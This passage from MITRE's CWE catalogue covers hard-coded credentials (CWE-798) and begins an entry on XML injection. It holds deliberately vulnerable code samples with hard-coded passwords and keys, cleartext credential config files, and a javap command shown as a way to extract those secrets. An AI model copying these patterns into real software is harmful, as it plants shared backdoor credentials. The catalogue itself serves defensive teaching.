[REF-631] OWASP. "Password Storage Cheat Sheet". <https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html>. URL validated: 2023-04-07.
[REF-632] Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007-09-10. <http://hashphp.org/hashing.html>. URL validated: 2023-04-07.
[REF-633] Robert Graham. "The Importance of Being Canonical". 2009-02-02. <https://blog.erratasec.com/2009/02/importance-of-being-canonical.html#.ZCbyY7LMJPY>. URL validated: 2023-04-07.
[REF-634] James McGlinn. "Password Hashing". <https://privacyaustralia.net/phpsec/articles/password-hashing/>. URL validated: 2023-04-07.
[REF-635] Jeff Atwood. "Rainbow Hash Cracking". 2007-09-08. <https://blog.codinghorror.com/rainbow-hash-cracking/>. URL validated: 2023-04-07.
[REF-636] Jeff Atwood. "Speed Hashing". 2012-04-06. <https://blog.codinghorror.com/speed-hashing/>. URL validated: 2023-04-07.
[REF-637] "Rainbow table". Wikipedia. 2009-03-03. <https://en.wikipedia.org/wiki/Rainbow_table>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Creating a Salted Hash" Page 302. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Salt Values", Page 46. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission Date Submitter Organization
2009-03-03
(CWE 1.3, 2009-03-10)
CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2009-10-29 CWE Content Team MITRE
updated Relationships
2010-02-16 CWE Content Team MITRE
updated References
2011-03-29 CWE Content Team MITRE
updated Observed_Examples
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-06-27 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Potential_Mitigations, Related_Attack_Patterns, Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships
2012-05-11 CWE Content Team MITRE
updated References, Related_Attack_Patterns, Relationships
2012-10-30 CWE Content Team MITRE
updated Demonstrative_Examples, Potential_Mitigations, References
2013-02-21 CWE Content Team MITRE
updated Description, Potential_Mitigations, References, Relationships, Type
2014-02-18 CWE Content Team MITRE
updated Potential_Mitigations, References
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships
2017-01-19 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, References, Relationships
2018-03-27 CWE Content Team MITRE
updated References
2019-06-20 CWE Content Team MITRE
updated Type
2020-02-24 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2021-10-28 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content Team MITRE
updated Demonstrative_Examples

CWE-798: Use of Hard-coded Credentials

Weakness ID: 798
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains hard-coded credentials, such as a password or cryptographic key. Diagram for CWE-798
+ Extended Description

There are two main variations:

  • Inbound: the product contains an authentication mechanism that checks the input credentials against a hard-coded set of credentials. In this variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the product. It can also be difficult for the administrator to detect.
  • Outbound: the product connects to another system or component, and it contains hard-coded credentials for connecting to that component. This variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password that can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end product.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Access Control

Technical Impact: Bypass Protection Mechanism

If hard-coded passwords are used, it is almost certain that malicious users will gain access to the account in question.

Any user of the product that hard-codes passwords may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

Integrity
Confidentiality
Availability
Access Control
Other

Technical Impact: Read Application Data; Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands; Other

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.

If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the product will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

+ Potential Mitigations

Phase: Architecture and Design

For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [REF-7].

In Windows environments, the Encrypted File System (EFS) may provide some protection.

Phase: Architecture and Design

For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password or key.

Phase: Architecture and Design

If the product must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.

Phase: Architecture and Design

For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash.

Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Phase: Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete.

  • The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.
  • Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.
  • Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 344 Use of Invariant Value in Dynamically Changing Context
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 671 Lack of Administrator Control over Security
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1391 Use of Weak Credentials
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 259 Use of Hard-coded Password
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 321 Use of Hard-coded Cryptographic Key
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 257 Storing Passwords in a Recoverable Format
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 255 Credentials Management Errors
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 320 Key Management Errors
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Nature Type ID Name
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 259 Use of Hard-coded Password
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 321 Use of Hard-coded Cryptographic Key
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Nature Type ID Name
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 259 Use of Hard-coded Password
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 321 Use of Hard-coded Cryptographic Key
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

Class: ICS/OT (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code uses a hard-coded password to connect to a database:

(bad code)
Example Language: Java 
...
DriverManager.getConnection(url, "scott", "tiger");
...

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

(attack code)
 
javap -c ConnMngr.class
22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott
26: ldc #17; //String tiger

Example 2

The following code is an example of an internal hard-coded password in the back-end:

(bad code)
Example Language:
int VerifyAdmin(char *password) {
if (strcmp(password, "Mew!")) {
printf("Incorrect Password!\n");
return(0)
}
printf("Entering Diagnostic Mode...\n");
return(1);
}
(bad code)
Example Language: Java 
int VerifyAdmin(String password) {
if (!password.equals("Mew!")) {
return(0)
}
//Diagnostic Mode
return(1);
}

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."


Example 3

The following code examples attempt to verify a password using a hard-coded cryptographic key.

(bad code)
Example Language:
int VerifyAdmin(char *password) {
if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {

printf("Incorrect Password!\n");
return(0);
}
printf("Entering Diagnostic Mode...\n");
return(1);
}
(bad code)
Example Language: Java 
public boolean VerifyAdmin(String password) {
if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
System.out.println("Entering Diagnostic Mode...");
return true;
}
System.out.println("Incorrect Password!");
return false;
(bad code)
Example Language: C# 
int VerifyAdmin(String password) {
if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
Console.WriteLine("Entering Diagnostic Mode...");
return(1);
}
Console.WriteLine("Incorrect Password!");
return(0);
}

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.


Example 4

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

(bad code)
Example Language: Java 

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.


Example 5

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used hard-coded credentials in their OT products.


+ Observed Examples
Reference Description
Condition Monitor firmware has a maintenance interface with hard-coded credentials
Engineering Workstation uses hard-coded cryptographic keys that could allow for unathorized filesystem access and privilege escalation
Distributed Control System (DCS) has hard-coded passwords for local shell access
Programmable Logic Controller (PLC) has a maintenance service that uses undocumented, hard-coded credentials
Firmware for a Safety Instrumented System (SIS) has hard-coded credentials for access to boot configuration
Remote Terminal Unit (RTU) uses a hard-coded SSH private key that is likely to be used in typical deployments
Telnet service for IoT feeder for dogs and cats has hard-coded password [REF-1288]
Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port
Installation script has a hard-coded secret token value, allowing attackers to bypass authentication
SCADA system uses a hard-coded password to protect back-end database containing authorization information, exploited by Stuxnet worm
FTP server library uses hard-coded usernames and passwords for three default accounts
Chain: Router firmware uses hard-coded username and password for access to debug functionality, which can be used to execute arbitrary code
Server uses hard-coded authentication key
Backup product uses hard-coded username and password, allowing attackers to bypass authentication via the RPC interface
Security appliance uses hard-coded password allowing attackers to gain root access
Drive encryption product stores hard-coded cryptographic keys for encrypted configuration files in executable programs
VoIP product uses hard-coded public credentials that cannot be changed, which allows attackers to obtain sensitive information
VoIP product uses hard coded public and private SNMP community strings that cannot be changed, which allows remote attackers to obtain sensitive information
Backup product contains hard-coded credentials that effectively serve as a back door, which allows remote attackers to access the file system
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Black Box

Credential storage in configuration files is findable using black box methods, but the use of hard-coded credentials for an incoming authentication routine typically involves an account that is not visible outside of the code.

Effectiveness: Moderate

Automated Static Analysis

Automated white box techniques have been published for detecting hard-coded credentials for incoming authentication, but there is some expert disagreement regarding their effectiveness and applicability to a broad range of methods.

Manual Static Analysis

This weakness may be detectable using manual code analysis. Unless authentication is decentralized and applied throughout the product, there can be sufficient time for the analyst to find incoming authentication routines and examine the program logic looking for usage of hard-coded credentials. Configuration files could also be analyzed.
Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Dynamic Analysis

For hard-coded credentials in incoming authentication: use monitoring tools that examine the product's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the product was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Using call trees or similar artifacts from the output, examine the associated behaviors and see if any of them appear to be comparing the input to a fixed string or value.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Network Sniffer
  • Forced Path Execution

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 254 7PK - Security Features
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 724 OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 753 2009 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 803 2010 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 812 OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 861 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 866 2011 Top 25 - Porous Defenses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1131 CISQ Quality Measures (2016) - Security
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1152 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1308 CISQ Quality Measures - Security
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1340 CISQ Data Protection Measures
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011) MSC03-J Never hard code sensitive information
OMG ASCSM ASCSM-CWE-798
ISA/IEC 62443 Part 3-3 Req SR 1.5
ISA/IEC 62443 Part 4-2 Req CR 1.5
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 8, "Key Management Issues" Page 272. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-729] Johannes Ullrich. "Top 25 Series - Rank 11 - Hardcoded Credentials". SANS Software Security Institute. 2010-03-10. <https://www.sans.org/blog/top-25-series-rank-11-hardcoded-credentials/>. URL validated: 2023-04-07.
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. URL validated: 2023-04-07.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-798. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
[REF-1288] Julia Lokrantz. "Ethical hacking of a Smart Automatic Feed Dispenser". 2021-06-07. <http://kth.diva-portal.org/smash/get/diva2:1561552/FULLTEXT01.pdf>.
[REF-1304] ICS-CERT. "ICS Alert (ICS-ALERT-13-164-01): Medical Devices Hard-Coded Passwords". 2013-06-13. <https://www.cisa.gov/news-events/ics-alerts/ics-alert-13-164-01>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission Date Submitter Organization
2010-01-15
(CWE 1.8, 2010-02-16)
CWE Content Team MITRE
More abstract entry for hard-coded password and hard-coded cryptographic key.
+ Contributions
Contribution Date Contributor Organization
2023-01-24
(CWE 4.10, 2023-01-31)
"Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
2024-02-29
(CWE 4.15, 2024-07-16)
Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2010-04-05 CWE Content Team MITRE
updated Related_Attack_Patterns
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, References
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2010-12-13 CWE Content Team MITRE
updated Description
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27 CWE Content Team MITRE
updated Observed_Examples, Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2012-10-30 CWE Content Team MITRE
updated Demonstrative_Examples, Potential_Mitigations
2013-02-21 CWE Content Team MITRE
updated Applicable_Platforms, References
2014-07-30 CWE Content Team MITRE
updated Demonstrative_Examples, Detection_Factors
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-01-19 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-11-08 CWE Content Team MITRE
updated Causal_Nature, Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27 CWE Content Team MITRE
updated References
2019-01-03 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2019-09-19 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2021-07-20 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-06-28 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References, Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Detection_Factors, Maintenance_Notes, Potential_Mitigations, Taxonomy_Mappings
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content Team MITRE
updated Observed_Examples
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content Team MITRE
updated Common_Consequences, Description, Diagram
2024-11-19
(CWE 4.16, 2024-11-19)
CWE Content Team MITRE
updated Relationships

CWE-91: XML Injection (aka Blind XPath Injection)

Weakness ID: 91
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.
+ Extended Description
Within XML, special elements could include reserved words or characters such as "<", ">", """, and "&", which could then be used to add new data or modify XML syntax.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands; Read Application Data; Modify Application Data

+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

